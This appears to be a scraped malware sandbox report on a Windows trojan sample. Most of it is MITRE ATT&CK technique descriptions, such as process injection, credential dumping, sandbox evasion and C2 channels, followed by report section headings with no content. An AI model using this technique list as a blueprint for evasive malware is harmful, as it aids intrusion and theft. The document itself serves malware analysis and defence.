String ID: bad function call$h UH
API String ID: 2128049600-643655919
Opcode ID: f9d97b31a8c5d228fb2a5f1ed106931e0cdfdeb15b74f104edd93cffd89daf92
Instruction ID: 645d73aa961675ead7089840f052e3470a1804717a9971b9b33a86a14cae7daa
Opcode Fuzzy Hash: f9d97b31a8c5d228fb2a5f1ed106931e0cdfdeb15b74f104edd93cffd89daf92
Instruction Fuzzy Hash: E4C01238C0110C77CB00B6B5E8578CCB73C6A04744BD04866B61096956E7B8A6188799

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre